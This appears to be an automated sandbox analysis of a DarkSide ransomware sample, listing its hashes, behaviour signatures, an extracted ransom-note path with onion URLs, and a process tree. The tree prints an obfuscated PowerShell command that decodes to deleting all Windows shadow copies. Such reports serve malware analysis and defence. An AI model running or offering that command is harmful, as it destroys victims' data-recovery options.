Analysis
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max time kernel
34s -
max time network
70s -
platform
windows10_x64 -
resource
win10v20210410 -
submitted
12-05-2021 19:34
General
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Target
68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe
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Size
59KB
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MD5
9e779da82d86bcd4cc43ab29f929f73f
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SHA1
e6b47869caa776840ab79856b04096152103c71d
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SHA256
68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7
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SHA512
e0a172b862054b63c26e8852019cbd46b68c6102e4bae802ba851ae950798d336295795c0cc5d68002a0467c62e5800f1ecfdae05de2709d57bcc31375276bb7
Malware Config
Extracted
C:\\README.7b336f65.TXT
darkside
http://darksidedxcftmqa.onion/blog/article/id/88/EbDyhFDs_z2hYxVR0XHv4S3ZzHUrKh4rqa3bgZ44Og-ORPgEAgMjzoTDuM46leXv
http://darksidfqzcuhtk2.onion/KB0LXKYKN6E96Z7RFYWCEI6NM03TX93VZCL5EDA4IVPXUIQQZBG2ZEG269ZIFSFM
Signatures
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DarkSide
Targeted ransomware first seen in August 2020. Operators steal data to use as leverage.
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Modifies extensions of user files 4 IoCs
Ransomware generally changes the extension on encrypted files.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Sets desktop wallpaper using registry 2 TTPs 2 IoCs
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Modifies Control Panel 1 IoCs
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Modifies registry class 5 IoCs
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Suspicious behavior: EnumeratesProcesses 5 IoCs
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Suspicious use of AdjustPrivilegeToken 25 IoCs
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Suspicious use of WriteProcessMemory 2 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe"C:\Users\Admin\AppData\Local\Temp\68872cc22fbdf0c2f69c32ac878ba9a7b7cf61fe5dd0e3da200131b8b23438e7.exe"1⤵
- Modifies extensions of user files
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -ep bypass -c "(0..61)|%{$s+=[char][byte]('0x'+'4765742D576D694F626A6563742057696E33325F536861646F77636F7079207C20466F72456163682D4F626A656374207B245F2E44656C65746528293B7D20'.Substring(2*$_,2))};iex $s"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.logMD5
ea6243fdb2bfcca2211884b0a21a0afc
SHA12eee5232ca6acc33c3e7de03900e890f4adf0f2f
SHA2565bc7d9831ea72687c5458cae6ae4eb7ab92975334861e08065242e689c1a1ba8
SHA512189db6779483e5be80331b2b64e17b328ead5e750482086f3fe4baae315d47d207d88082b323a6eb777f2f47e29cac40f37dda1400462322255849cbcc973940
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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveMD5
cc52579ee297550c1e8b266243a90dcf
SHA1707fd4c93c8bf70748f87f219e7612850a6cc75e
SHA2565dc894e0d8d5c71206695d4032983adea7d8701c6274e97db598879ece39a88f
SHA5120c3b02e0892e3d0344eacb2d4fa67dad08f48ea7afc614000ba97069c462040f5e59b1391e559386093f53b3d679d10b95920f2aeb5305ee9e6217af43421224
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memory/2776-114-0x0000000000000000-mapping.dmp
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memory/2776-119-0x000002B2F8C00000-0x000002B2F8C01000-memory.dmpFilesize
4KB
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memory/2776-122-0x000002B2F8EE0000-0x000002B2F8EE1000-memory.dmpFilesize
4KB
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memory/2776-124-0x000002B2F6BF3000-0x000002B2F6BF5000-memory.dmpFilesize
8KB
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memory/2776-123-0x000002B2F6BF0000-0x000002B2F6BF2000-memory.dmpFilesize
8KB
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memory/2776-133-0x000002B2F6BF6000-0x000002B2F6BF8000-memory.dmpFilesize
8KB